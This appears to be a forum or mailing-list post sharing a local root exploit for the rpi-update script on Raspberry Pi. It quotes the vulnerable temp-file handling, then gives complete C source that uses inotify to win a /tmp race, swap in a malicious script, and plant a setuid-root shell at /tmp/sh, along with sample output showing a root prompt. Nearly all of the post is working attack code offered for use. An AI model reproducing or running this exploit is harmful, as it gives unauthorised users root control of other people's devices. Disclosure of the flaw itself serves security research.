Hello everyone,
I took a closer look at this vulnerability here is my exploit to share:
45 cat > /tmp/updateScript.sh << EOF <-- if we own it first, wait for I_MODIFY and inject our malicious code
46 #!/bin/bash
47 if mv "${_tempFileName}" "$0"; then
48 rm -- "\$0"
49 exec env UPDATE_SELF=0 /bin/bash "$0" "${FW_REV}"
50 else
51 echo " !!! Failed!"
52 fi
53 EOF
54
55 echo " *** Relaunching after update"
56 exec /bin/bash /tmp/updateScript.sh <-- just runs whatever is here
This will poop out a root prompt for you!
raspi-p0wn.c
----------------------------------------
/*Local root exploit for rpi-update on raspberry Pi.
Vulnerability discovered by Technion, technion@xxxxxxxxxxx
https://github.com/Hexxeh/rpi-update/
larry@pih0le:~$ ./rpix updateScript.sh
[*] Launching attack against "updateScript.sh"
[+] Creating evil script (/tmp/evil)
[+] Creating target file (/usr/bin/touch /tmp/updateScript.sh)
[+] Initialize inotify on /tmp/updateScript.sh
[+] Waiting for root to change perms on "updateScript.sh"
[+] Opening root shell (/tmp/sh)
# <-- Yay!
Larry W. Cashdollar
http://vapid.dhs.org
@_larry0
Greets to Vladz.
*/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <sys/inotify.h>
#include <fcntl.h>
#include <sys/syscall.h>
/*Create a small c program to pop us a root shell*/
int create_nasty_shell(char *file) {
char *s = "#!/bin/bash\n"
"echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
"cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
"chmod 4755 /tmp/sh;\n";
int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
write(fd, s, strlen(s));
close(fd);
return 0;
}
int main(int argc, char **argv) {
int fd, wd;
char buf[1], *targetpath, *cmd,
*evilsh = "/tmp/evil", *trash = "/tmp/trash";
if (argc < 2) {
printf("Usage: %s <target file> \n", argv[0]);
return 1;
}
printf("[*] Launching attack against \"%s\"\n", argv[1]);
printf("[+] Creating evil script (/tmp/evil)\n");
create_nasty_shell(evilsh);
targetpath = malloc(sizeof(argv[1]) + 32);
cmd = malloc(sizeof(char) * 32);
sprintf(targetpath, "/tmp/%s", argv[1]);
sprintf(cmd,"/usr/bin/touch %s",targetpath);
printf("[+] Creating target file (%s)\n",cmd);
system(cmd);
printf("[+] Initialize inotify on %s\n",targetpath);
fd = inotify_init();
wd = inotify_add_watch(fd, targetpath, IN_MODIFY);
printf("[+] Waiting for root to modify :\"%s\"\n", argv[1]);
syscall(SYS_read, fd, buf, 1);
syscall(SYS_rename, targetpath, trash);
syscall(SYS_rename, evilsh, targetpath);
inotify_rm_watch(fd, wd);
printf("[+] Opening root shell (/tmp/sh)\n");
sleep(2);
system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");
return 0;
}
